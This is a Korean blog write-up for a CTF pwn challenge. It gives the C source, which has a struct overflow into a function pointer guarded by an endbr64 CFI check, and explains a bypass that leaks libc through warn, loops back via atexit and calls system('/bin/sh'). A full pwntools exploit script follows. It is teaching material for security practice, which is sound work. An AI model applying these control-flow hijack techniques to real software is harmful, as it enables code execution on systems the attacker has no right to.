#include <err.h>
#include <stdint.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <stddef.h>

#define INSN_ENDBR64 (0xF30F1EFA) /* endbr64 */
#define CFI(f)                                              \
  ({                                                        \
    if (__builtin_bswap32(*(uint32_t*)(f)) != INSN_ENDBR64) \
      __builtin_trap();                                     \
    (f);                                                    \
  })

#define KEY_SIZE 0x20
typedef struct {
  char key[KEY_SIZE];
  char buf[KEY_SIZE];
  const char *error;
  int status;
  void (*throw)(int, const char*, ...); 
} ctx_t;

void read_member(ctx_t *ctx, off_t offset, size_t size) {
  if (read(STDIN_FILENO, (void*)ctx + offset, size) <= 0) {
    ctx->status = EXIT_FAILURE;
    ctx->error = "I/O Error";
  }
  ctx->buf[strcspn(ctx->buf, "\n")] = '\0';

  if (ctx->status != 0)
    CFI(ctx->throw)(ctx->status, ctx->error);
}

void encrypt(ctx_t *ctx) {
  for (size_t i = 0; i < KEY_SIZE; i++)
    ctx->buf[i] ^= ctx->key[i];
}

int main() {
  ctx_t ctx = { .error = NULL, .status = 0, .throw = err };

  read_member(&ctx, offsetof(ctx_t, key), sizeof(ctx));
  read_member(&ctx, offsetof(ctx_t, buf), sizeof(ctx));

  encrypt(&ctx);
  write(STDOUT_FILENO, ctx.buf, KEY_SIZE);

  return 0;
}

문제에서 주어진 코드이다. read_member 함수를 통해서 구조체에 입력을 할 수 있고, status의 값에 따라서 throw 함수 포인터를 실행할 지 안 할지 결정할 수 있다.

 

취약점은 쉽게 보이고, throw 를 원하는 함수로 덮을 수 있고 첫 번째 인자를 4바이트, 두 번째 인자를 8바이트로 세팅할 수 있다.

여기서 가장 걸리는 점이 출제자가 세팅한 CFI 매크로 인데, 함수를 실행하기 전에 이 매크로에서 함수의 시작 부분이 endbr64 옵코드로 시작하지 않으면 바로 trap을 먹여버린다. 그래서 이동할 때 무조건 endbr64 가 존재하는 함수로 이동시켜 줘야 trap이 안 걸리고 정상적으로 실행 된다.

 

내가 맨 처음에 시도한건 __libc_write 를 덮고, 첫 번째 인자는 1로, 두 번째 인자를 got로 세팅해서 libc 를 leak 하는거였는데,로컬은 되는데 리모트가 안돼서 삽질을 겁나게 했다,,, 나중에 들어보니까 gdb를 깔면 오차가 생길 수 있어서 그렇다고 한다.

 

아무튼 그래서 다른 방법은 __libc_write가 아닌 warnx 를 덮는거였다. warn는 무조건 exit를 하는 줄 알고 그냥 넘어갔는데, warn 자체는 printf만 하고 exit를 하지 않는다. 그래서 warn 첫 번째 인자에 got를 넣어주면 libc 출력이 된다. 확률은 1/16 이다. (1.5바이트만 일정하고 0.5 바이트는 랜덤)

 

그래서 libc 출력이 되면 다시 한 번 점프 뛸 곳을 정해야 하는데, atexit 함수의 첫 번째 인자에 원하는 함수 주소를 넣으면 그 쪽으로 jmp를 뛴다. 그래서 atexit에 main을 넣고 다시 main으로 돌아와서 gets 함수로 bss에 /bin/sh\x00 을 넣고 system 함수 인자로 bss 주소를 넣어주면 풀린다.

 

from pwn import *
elf = ELF('./xor')
libc = elf.libc
context.log_level = 'debug'
idx = 0
if sys.argv[1] =='0':
    r = remote('selfcet.seccon.games', 9999)
else:
    r = process('./xor')
buf = b'a'*0x40
buf += p64(elf.got['write'])
buf += p64(elf.got['write'])
buf += b'\x10\xd0'
r.send(buf)
sleep(0.2)
r.recvuntil(b'xor: ')
main = 0x401209
libc_base = u64(r.recv(6) + b'\x00\x00') - libc.symbols['write']
__libc_start_main_impl = libc_base + 0x29dc0
atexit = libc_base + 0x458c0
r.success(f'libc_base : {hex(libc_base)}')
buf = b'a'*0x20
buf += p64(main)
buf += p64(main)
buf += p64(atexit)
r.send(buf)

buf = b'a'*0x40
buf += p64(0x404000 + 0x100)
buf += p64(0x404000 + 0x200)
buf += p64(libc_base + libc.symbols['gets'])
r.send(buf)
sleep(0.1)
r.sendline('/bin/sh')
sleep(0.1)
buf = b'a'*0x20
buf += p64(0x404000 + 0x200)
buf += p64(0x404000 + 0x200)
buf += p64(libc_base + libc.symbols['system'])
r.send(buf)
r.interactive()

출제자의 intended solution은 arch_prctl 함수를 통해 fs를 조작하고, 조작한 fs를 통해 master canary가 우회되면서 main ret을 덮을 수 있다. 이를 이용하는 방법이 있다

'CTF' 카테고리의 다른 글

CTF 풀거  (0) 2023.09.14
SECCON 2022 - babyfile (pwn)  (0) 2023.09.14
SECCON 2022 - koncha (pwn)  (0) 2023.09.13
HITCON CTF 2023 - Full Chain (Wall Maria)  (1) 2023.09.11

+ Recent posts